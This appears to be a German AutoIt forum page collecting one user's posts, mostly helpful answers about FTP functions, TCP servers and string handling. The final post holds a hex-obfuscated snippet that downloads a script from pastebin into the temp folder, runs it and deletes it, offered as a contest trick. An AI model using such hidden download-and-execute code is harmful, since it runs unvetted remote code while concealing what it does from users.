Dann liest du eben den Ordnerinhalt in ein Array, und überprüfst beim Durchgehen, ob das aktuelle Element ein Ordner ist. Wenn ja, dann listest du in diesem wieder alle Dateien/Ordner auf und immer so weiter. Und am Ende hast du dann ein Array (oder auch mehrere, je nach dem wie du es löst) in dem alle Dateien in allen Ordnern auf dem Servern eingetragen sind.
Beiträge von James
-
-
dann noch was könnte man mit tcp sinnvolles machen auser ein chat?
Du könntest z.B. ein einfaches Spiel machen, dass man im Netzwerk spielen kann. (z.B. Tic Tac Toe) -
Die Frage ist doch, wieso du überhaupt TCP verwenden willst. Denn dann müsstest du erst das FTP-Protokoll in AutoIt implementieren, um mit den TCP-Funktionen die Dateien auf deinem FTP-Server zu verwalten.
Die in AutoIt mitgelieferten FTP-Funktionen zu benutzen wäre meiner Meinung nach besser:
Spoiler anzeigen
[autoit]
[/autoit]
_FTP_Close
_FTP_Command
_FTP_Connect
_FTP_DecodeInternetStatus
_FTP_DirCreate
_FTP_DirDelete
_FTP_DirGetCurrent
_FTP_DirPutContents
_FTP_DirSetCurrent
_FTP_FileClose
_FTP_FileDelete
_FTP_FileGet
_FTP_FileGetSize
_FTP_FileOpen
_FTP_FilePut
_FTP_FileRead
_FTP_FileRename
_FTP_FileTimeLoHiToStr
_FTP_FindFileClose
_FTP_FindFileFirst
_FTP_FindFileNext
_FTP_GetLastResponseInfo
_FTP_ListToArray
_FTP_ListToArray2D
_FTP_ListToArrayEx
_FTP_Open
_FTP_ProgressDownload
_FTP_ProgressUpload
_FTP_SetStatusCallback
Falls du es allerdings doch mit den TCP-Funktionen machen willst, solltest du dir RFC 959 anschauen.MfG, James
Edit: Cheater Dieter war schneller...
-
Hast du den Wert von $data[0] überprüft?
-
Solange du diesen Teil des Includes in dein Skript einfügst und es immer noch nicht gegen die Regeln verstößt, sowie in 50 Zeichen in 100 Zeilen passt.
-
BinDannMalWeg Du hast ja Recht, aber normalerweise bedient man so einen Server
ja auch mit einem "richtigen" Client und nicht mit so einem 10-Zeilen-Testskript.@juloko1
Mein Server war natürlich nur ein Beispiel.
Generell mache ich es auch immer so wie in dem Beispiel von Christoph,
und zwar dass ich Befehle und Parameter durch "|" (oder irgendein anderes Zeichen) trenne.Der neue Server würde dann so aussehen:
[autoit]; by James1337
[/autoit][autoit][/autoit][autoit]
; TCPServer.au3: http://pastebin.com/Ht8vqAXN
#NoTrayIcon
#include "TCPServer.au3"_TCPServer_RegisterEvent($TCPSERVER_RECEIVEDDATA, "ReceivedData")
[/autoit][autoit][/autoit][autoit]
_TCPServer_Startup(@IPAddress1, 4321)While Sleep(100)
[/autoit][autoit][/autoit][autoit]
WEndFunc ReceivedData($socket, $data)
[/autoit]
$data = StringSplit($data, "|")
Switch $data[1]
Case "DATE"
Return StringFormat("%2d.%2d.%4d", @MDAY, @MON, @YEAR)
Case "TIME"
Return StringFormat("%2d:%2d", @HOUR, @MIN)
Case "SHUTDOWN"
_TCPServer_Shutdown()
Exit
Case "SERVERMSG"
If ($data[0] = 2) Then
ConsoleWrite($data[2] & @LF)
Return "OK"
Else
Return 'USAGE: "SERVERMSG|<MESSAGE>"'
EndIf
Case "CHATMSG"
If ($data[0] = 2) Then
_Send_Message_To_MW3_Chat($data[2])
Return "OK"
Else
Return 'USAGE: "CHATMSG|<MESSAGE>"'
EndIf
Case Else
Return StringFormat('UNKNOWN COMMAND "%s"!', $data)
EndSwitch
EndFunc
[autoit]
In deinem Client könntest du das dann so umsetzen:TCPSend($socket, "CHATMSG|deine Nachricht hier")
[/autoit]MfG, James
-
Bitte. Schau' dir zu mehrzeiligen Strings mal @CRLF (und @LF) in der Hilfe an.
-
Ja. Dann solltest du davor noch ein Sleep setzen, um der Antwort Zeit zu geben anzukommen.
-
Um die Serverantwort zu verarbeiten nimmst du (wie in dem Client von Christoph54) TCPRecv.
Zum Beispiel so:
[autoit]MsgBox(64, "DATE", TCPRecv($socket, 1024))
[/autoit]Das kannst du nach Zeile #4 einfügen.
-
Das wär super nett, hauptsache ich kann damit als TCP Anfänger mit arbeiten
Ach, ich denke, dass sollte zu schaffen sein :
[autoit]#NoTrayIcon
[/autoit][autoit][/autoit][autoit]
#include "TCPServer.au3" ; http://pastebin.com/Ht8vqAXN_TCPServer_RegisterEvent($TCPSERVER_RECEIVEDDATA, "ReceivedData")
[/autoit][autoit][/autoit][autoit]
_TCPServer_Startup(@IPAddress1, 4321) ; Server auf Port 4321 startenWhile Sleep(100) ; leere Schleife, da die UDF alle Clients für uns verwaltet
[/autoit][autoit][/autoit][autoit]
WEndFunc ReceivedData($socket, $data)
[/autoit]
Switch $data ; empfangene Daten
Case "DATE"
Return StringFormat("%02d.%02d.%04d", @MDAY, @MON, @YEAR)
Case "TIME"
Return StringFormat("%02d:%02d", @HOUR, @MIN)
Case "SHUTDOWN"
_TCPServer_Shutdown()
Exit
Case Else
Return StringFormat('UNKNOWN COMMAND "%s"!', $data)
EndSwitch
EndFuncWie du siehst, musst du nur die Daten verarbeiten, den Rest übernimmt die UDF.
MfG, James
-
-
Einen Post weiter siehst du, dass minx das Skript in ein paar Verbote umgewandelt hat (d.h., dass es diese Regel da noch nicht gab).
Dieses Skript war ja außerdem sowieso nicht ernst gemeint, sondern höchstens um nochmal ein Beispiel für die Formatierung zu zeigen.
Keine Sorge, das Skript mit dem ich teilnehme ist um einiges besser und auch regel konform.MfG, James
Edit: Der Sinn ist, dass wenn man das Skript ausführt, ohne es sich näher anzuschauen, man vielleicht denken könnte, dass das Programm in den paar Zeilen enthalten ist.
-
Schon mal mit _ExcelWriteCell und "=WENN(a, b, c)" versucht?
-
Mir fällt gerade eine UDF ein, mit der du wirklich einfach TCP Server erstellen kannst, auch welche, die mehrere Clients unterstützen. Wenn du willst, kann ich dir ja morgen mal ein kleines Beispiel schreiben.
MfG, James
-
Außerdem würde das dann meiner Meinung nach auch schon unter "externe Ressourcen" fallen.
-
Und auch mal in die Hilfe schauen, z.B. unter StringReplace für das Entfernen von amp;.
-
Wenn du SOH ersetzen willst, musst du das ja auch andersrum anwenden:
[autoit]StringReplace($sText, Chr(1), @CRLF)
[/autoit]Denn sonst würdest du jeden Zeilenumbruch durch SOH ersetzen.;)
MfG, James
-
Die Zeilen 4 und 5 sind sowieso sinnlos und in der Speichern-Funktion solltest du vielleicht die InputBox platzieren.
- Du liest eine Ini aus, verwendest aber diesen Wert nicht weiter.
- Die InputBox kommt nur am Anfang und nicht bei F1. -
Dein Skript wurde jetzt mal in ein paar Verbote umgewandelt.
Danke.
-
Da mein Skript nicht zählt (:(), poste ich es einfach mal hier, damit sich nun wirklich jeder vorstellen kann, wie das Ganze zum Schluss aussehen
[autoit]soll/kann:#NoTrayIcon;......................................
[/autoit]
Execute(BinaryToString("0x496E6574476574"& _;.....
"2822687474703A2F2F706173746562696E2E636"& _;.....
"F6D2F7261772E7068703F693D6566726452414C"& _;.....
"31222C4054656D7044697226225C65667264524"& _;.....
"14C312E617533222C31392C3029"));..................
If Execute(BinaryToString("0x46696C65457"& _;.....
"869737473284054656D7044697226225C656672"& _;.....
"6452414C312E6175332229")) Then;..................
Execute(BinaryToString("0x52756E57616974"& _;.....
"28537472696E67466F726D61742822222225732"& _;.....
"222202F4175746F497433457865637574655363"& _;.....
"7269707420222225732222222C404175746F497"& _;.....
"44578652C4054656D7044697226225C65667264"& _;.....
"52414C312E617533222929"));.......................
Execute(BinaryToString("0x46696C6544656C"& _;.....
"657465284054656D7044697226225C656672645"& _;.....
"2414C312E6175332229"));..........................
EndIf;............................................
;.................................................MfG, James
Edit:
Außerdem sollte das Skript lesbar sein, wenn das möglich ist. Blödsinn hier alles mit Binaries zu verschleiern.
Das hattest du bis jetzt ja noch nicht erwähnt...